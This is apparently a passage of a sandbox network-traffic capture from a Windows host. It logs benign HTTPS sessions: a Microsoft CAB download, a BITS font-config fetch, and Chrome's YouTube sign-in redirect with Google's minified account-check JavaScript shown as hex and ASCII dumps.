2024-07-04 18:34:14 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 99b2df23-2db8-4cb0-bf40-f42a258b0269 MS-RequestId: bf1b151f-d224-4caf-9564-7e98df6d34e8 MS-CV: T1ApG3os00iVYutd.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 04 Jul 2024 18:34:14 GMT Connection: close Content-Length: 24490
2024-07-04 18:34:14 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-04 18:34:14 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49741	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 18:34:20 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0758) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=44982 Date: Thu, 04 Jul 2024 18:34:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:21 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-04 18:34:21 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=45002 Date: Thu, 04 Jul 2024 18:34:21 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-04 18:34:21 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	172.217.16.142	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:31 UTC	810	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 18:34:32 UTC	2470	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 04 Jul 2024 18:34:31 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Thu, 04-Jul-2024 19:04:31 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=P3UhHVwEbSM; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_INFO1_LIVE=6zWlAmVqDvo; Domain=.youtube.com; Expires=Tue, 31-Dec-2024 18:34:31 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgUw%3D%3D; Domain=.youtube.com; Expires=Tue, 31-Dec-2024 18:34:31 GMT; Path=/; Secure; HttpOnly; SameSite=none; Partitioned Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49777	142.250.185.78	443	8060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:34:39 UTC	1244	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1139788329&timestamp=1720118077870 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-04 18:34:40 UTC	1957	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-8c9upLeDXX_vgQ9x2I9MIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 04 Jul 2024 18:34:40 GMT Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzj0tHikmLw05BiWMS_i0ni60smDSB2Sp_BGgTESf_OsxYB8ZKIi6yHEi-yCnFzHLg2ewubwIHPF7OU9JLyC-MzU1LzSjJLKlPycxMz85Lz87MzU4uLU4vKUovijQyMTAzMjIz1DCziCwwAeMwoTQ" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 37 36 36 35 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 38 63 39 75 70 4c 65 44 58 58 5f 76 67 51 39 78 32 49 39 4d 49 41 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 7665<html><head><script nonce="8c9upLeDXX_vgQ9x2I9MIA">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 20 69 6e 20 62 7d 29 5d 7c 7c 22 22 7d 7d 2c 71 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 0a 66 61 28 29 3b 69 66 28 61 3d 3d 3d 22 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 29 7b 69 66 28 6a 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 Data Ascii: tion(d){return d in b})]\|\|""}},qa=function(a){var b=fa();if(a==="Internet Explorer"){if(ja())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])switch(b
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 66 28 61 3d 3d 6e 75 6c 6c 29 7b 76 61 72 20 64 3d 39 36 3b 63 3f 28 61 3d 5b 63 5d 2c 64 7c 3d 35 31 32 29 3a 61 3d 5b 5d 3b 62 26 26 28 64 3d 64 26 2d 31 36 37 36 30 38 33 33 7c 28 62 26 31 30 32 33 29 3c 3c 31 34 29 7d 65 6c 73 65 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6e 22 29 3b 64 3d 7a 28 61 29 3b 69 66 28 64 26 32 30 34 38 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6f 22 29 3b 69 66 28 64 26 0a 36 34 29 72 65 74 75 72 6e 20 61 3b 64 7c 3d 36 34 3b 69 66 28 63 26 26 28 64 7c 3d 35 31 32 2c 63 21 3d 3d 61 5b 30 5d 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 70 22 29 3b 61 3a 7b 63 3d 61 3b 76 61 72 20 65 3d 63 2e 6c 65 6e 67 74 68 3b 69 66 28 65 29 7b 76 61 72 20 66 3d 65 2d 31 3b 69 Data Ascii: f(a==null){var d=96;c?(a=[c],d\|=512):a=[];b&&(d=d&-16760833\|(b&1023)<<14)}else{if(!Array.isArray(a))throw Error("n");d=z(a);if(d&2048)throw Error("o");if(d&64)return a;d\|=64;if(c&&(d\|=512,c!==a[0]))throw Error("p");a:{c=a;var e=c.length;if(e){var f=e-1;i
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 76 61 72 20 65 3d 4b 61 28 63 3f 61 2e 43 3a 62 29 3b 69 66 28 61 3d 62 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 66 3d 62 5b 61 2d 31 5d 2c 68 3d 77 61 28 66 29 3b 68 3f 61 2d 2d 3a 66 3d 76 6f 69 64 20 30 3b 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 76 61 72 20 67 3d 62 3b 69 66 28 68 29 7b 62 3a 7b 76 61 72 20 6b 3d 66 3b 76 61 72 20 6c 3d 7b 7d 3b 68 3d 21 31 3b 69 66 28 6b 29 66 6f 72 28 76 61 72 20 6d 20 69 6e 20 6b 29 69 66 28 69 73 4e 61 4e 28 2b 6d 29 29 6c 5b 6d 5d 3d 6b 5b 6d 5d 3b 65 6c 73 65 7b 76 61 72 20 71 3d 6b 5b 6d 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 71 29 26 26 28 41 28 71 2c 64 2c 0a 2b 6d 29 7c 7c 76 61 28 71 29 26 26 71 2e 73 69 7a 65 3d 3d 3d 30 29 26 26 28 71 3d 6e 75 6c 6c 29 3b 71 3d 3d 6e 75 6c 6c 26 26 28 68 3d 21 Data Ascii: var e=Ka(c?a.C:b);if(a=b.length){var f=b[a-1],h=wa(f);h?a--:f=void 0;e=+!!(e&512)-1;var g=b;if(h){b:{var k=f;var l={};h=!1;if(k)for(var m in k)if(isNaN(+m))l[m]=k[m];else{var q=k[m];Array.isArray(q)&&(A(q,d,+m)\|\|va(q)&&q.size===0)&&(q=null);q==null&&(h=!
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 61 28 4e 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 51 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c 47 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 Data Ascii: typeof d==="function"&&typeof d.prototype[a]!="function"&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Qa(Na(this))}})}return a});var Qa=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a},G=function(a){var
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 66 28 21 48 28 6b 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6b 29 3b 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3d 6c 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 3f 6b 5b 66 5d 5b 74 68 69 73 2e 67 5d 3a 76 6f 69 64 20 30 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 20 63 28 6b 29 26 26 48 28 6b 2c 66 29 26 26 48 28 6b 5b 66 5d 2c 74 68 69 73 2e 67 29 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 Data Ascii: !c(k))throw Error("i");d(k);if(!H(k,f))throw Error("j`"+k);k[f][this.g]=l;return this};g.prototype.get=function(k){return c(k)&&H(k,f)?k[f][this.g]:void 0};g.prototype.has=function(k){return c(k)&&H(k,f)&&H(k[f],this.g)};g.prototype.delete=function(k){ret
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 62 2e 68 61 73 28 6b 29 3f 6c 3d 62 2e 67 65 74 28 6b 29 3a 28 6c 3d 22 22 2b 20 2b 2b 68 2c 62 2e 73 65 74 28 6b 2c 6c 29 29 3a 6c 3d 22 70 5f 22 2b 6b 3b 76 61 72 20 6d 3d 67 5b 30 5d 5b 6c 5d 3b 69 66 28 6d 26 26 48 28 67 5b 30 5d 2c 6c 29 29 66 6f 72 28 67 3d 30 3b 67 3c 6d 2e 6c 65 6e 67 74 68 3b 67 2b 2b 29 7b 76 61 72 20 71 3d 6d 5b 67 5d 3b 69 66 28 6b 21 3d 3d 6b 26 26 71 2e 6b 65 79 21 3d 3d 71 2e 6b 65 79 7c 7c 6b 3d 3d 3d 71 2e 6b 65 79 29 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 67 2c 6c 3a 71 7d 7d 72 65 74 75 72 6e 7b 69 64 3a 6c 2c 6c 69 73 74 3a 6d 2c 69 6e 64 65 78 3a 2d 31 2c Data Ascii: r l=k&&typeof k;l=="object"\|\|l=="function"?b.has(k)?l=b.get(k):(l=""+ ++h,b.set(k,l)):l="p_"+k;var m=g[0][l];if(m&&H(g[0],l))for(g=0;g<m.length;g++){var q=m[g];if(k!==k&&q.key!==q.key\|\|k===q.key)return{id:l,list:m,index:g,l:q}}return{id:l,list:m,index:-1,
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 66 2e 76 61 6c 75 65 2c 68 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 68 3d 30 3b 68 3c 66 3b 68 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 68 5d 2c 68 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 76 61 72 20 5a 61 3d 5a 61 7c 7c 7b 7d 2c 72 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 61 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 24 61 28 22 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 2e 6f 78 4e 33 6e 62 22 29 3b 61 3d 63 26 26 63 5b 61 5d 3b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 3f 61 3a 62 7d 2c 49 3d 72 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 24 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 72 2c 63 3d Data Ascii: f.value,h++))}else for(f=b.length,h=0;h<f;h++)e.push(c.call(d,b[h],h));return e}});var Za=Za\|\|{},r=this\|\|self,ab=function(a,b){var c=$a("WIZ_global_data.oxN3nb");a=c&&c[a];return a!=null?a:b},I=r._F_toggles\|\|[],$a=function(a){a=a.split(".");for(var b=r,c=
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 20 65 26 26 62 2e 63 61 6c 6c 28 63 2c 65 5b 66 5d 2c 66 2c 61 29 7d 3b 76 61 72 20 63 61 3d 22 63 6f 6e 73 74 72 75 63 74 6f 72 20 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 20 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 20 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 20 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 20 74 6f 53 74 72 69 6e 67 20 76 61 6c 75 65 4f 66 22 2e 73 70 6c 69 74 28 22 20 22 29 3b 76 61 72 20 6a 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 72 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 26 64 28 66 2c 68 2c 67 2c 6b 2c 6c 29 3b 61 28 7b 6d 65 73 73 61 67 65 3a 66 2c 66 69 6c 65 4e 61 Data Ascii: e&&b.call(c,e[f],f,a)};var ca="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");var jb=function(a,b,c){c=c\|\|r;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&&d(f,h,g,k,l);a({message:f,fileNa
2024-07-04 18:34:40 UTC	1957	IN	Data Raw: 65 5d 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 66 29 7b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 66 3d 66 3f 22 6f 62 6a 65 63 74 22 3a 22 6e 75 6c 6c 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 73 74 72 69 6e 67 22 3a 62 72 65 61 6b 3b 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 66 3d 53 74 72 69 6e 67 28 66 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 66 3d 66 3f 22 74 72 75 65 22 3a 22 66 61 6c 73 65 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 66 3d 28 66 3d 6c 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c 65 6e 67 74 68 3e 34 30 26 26 28 66 3d 66 2e 73 6c 69 63 65 28 30 2c 34 30 29 2b 22 2e 2e 2e 22 29 3b 63 2e 70 Data Ascii: e];switch(typeof f){case "object":f=f?"object":"null";break;case "string":break;case "number":f=String(f);break;case "boolean":f=f?"true":"false";break;case "function":f=(f=lb(f))?f:"[fn]";break;default:f=typeof f}f.length>40&&(f=f.slice(0,40)+"...");c.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
